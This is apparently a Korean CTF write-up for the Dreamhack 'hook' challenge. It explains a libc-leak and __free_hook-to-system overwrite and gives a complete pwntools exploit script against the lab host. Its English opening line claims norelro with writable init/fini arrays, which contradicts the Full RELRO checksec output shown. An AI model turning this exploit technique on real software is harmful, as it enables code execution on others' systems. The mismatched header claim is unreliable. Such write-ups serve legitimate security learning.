hook
The binary is linked with -z norelro, leaving the init/fini arrays writable and hijackable.
보호기법과 소스코드를 확인해보긔 [*] ‘/Users/chaeeun/Desktop/6b8cd690-a995-4baa-a3a8-e89ec6005659/hook’ Arch: amd64-64-little
RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
chaeeun@chaeeuns-MacBook-Air 6b8cd690-a995-4baa-a3a8-e89ec6005659 % cat hook.c // gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro #include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL,
_IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int main(int
argc, char *argv[]) { long *ptr; size_t size; initialize(); printf("stdout: %p\n", stdout); printf("Size: ");
scanf("%ld", &size); ptr = malloc(size); printf("Data: "); read(0, ptr, size); *(long *)*ptr = *(ptr+1); free(ptr);
free(ptr); system("/bin/sh"); return 0; }
Full Relro 가 적용되있으니 GOT overwrite 는 불가합니다. GOT overwrite는 함수 호출 주소를 바꿔서 실행 흐름을 탈 취하는 공격 기법이고, Full RELRO는 GOT를 읽기 전용으로 만들어서 GOT overwrite를 막는 보호 기법입니다. NX 랑 Carnary 도 적용되어있습니다. 다행히 PIE 는 적용이 안되어있습니다. PIE가 꺼져 있으면 바이너리의 코드 주소가 거의 고 정입니다. 예를 들어 main, win, puts@plt 같은 주소가 매번 같습니다.
그럼 아마 핵심 취약점은 꽤 노골적인 임의 주소 쓰기(arbitrary write) 일듯합니다. 특히 stdout 출력이 있으니까, 그 임 의 쓰기를 libc 주소에 정확히 맞추기 위해있는걸로 보입니다.
일단 여기서 주는 stdout 주소로 libc base를 구하는게 맞는듯.
*(long *)*ptr = *(ptr+1);
그리고 여기서 원하는 주소에 원하는 값을 씁니다.
즉 입력 데이터는 보통 이런 구조가 됩니다. ptr[0] = 덮어쓸 주소 ptr[1] = 쓸 값
그래서 예전 glibc 기준이면 대표적으로:
ptr[0] = __free_hook
ptr[1] = system
으로 넣어서: __free_hook = system 을 만들 수 있습니다.
그럼 주소들부터 구해봅시다. stdout leak → libc base 계산 → libc base + __free_hook offset = __free_hook 실제 주소 → libc base + system offset = system 실제 주소;;;;;;; 이런식의 형식입니다.
식은 leaked_stdout = libc_base + libc.symbols[“IO_2_1_stdout”] 이기 때문에 역산하면
libc_base = leaked_stdout - libc.symbols[“IO_2_1_stdout”] 라고 할수있다.
그래서 각각 주소는 :
libc_base = leaked_stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols[“system”] 로 구할수있다.
그럼 코드는
from pwn import * context.arch = "amd64" elf = ELF("./hook") libc = ELF("./libc-2.23.so") HOST =
“host3.dreamhack.games” PORT = 9431 p = remote(HOST, PORT) # stdout leak 받기 p.recvuntil(b”stdout: ”) leaked_stdout = int(p.recvline().strip(), 16) # libc base 계산 libc_base = leaked_stdout -
libc.symbols["_IO_2_1_stdout_"] libc.address = libc_base free_hook = libc.symbols["__free_hook"] system =
libc.symbols["system"] log.info(f"leaked stdout = {hex(leaked_stdout)}") log.info(f"libc base =
{hex(libc_base)}") log.info(f"__free_hook = {hex(free_hook)}") log.info(f"system = {hex(system)}") # *(long
*)*ptr = *(ptr+1) # 즉 ptr[0] 주소에 ptr[1] 값을 씀 payload = p64(free_hook) payload += p64(system)
p.sendlineafter(b"Size: ", str(len(payload)).encode()) p.sendafter(b"Data: ", payload) p.interactive()
ptr에 우리가 넣은 데이터가 이렇게 들어간다고 보면 됩니다.
ptr[0] = p64(__free_hook)
ptr[1] = p64(system)
그러면 코드가 실행하는 건:
*(long *)__free_hook = system;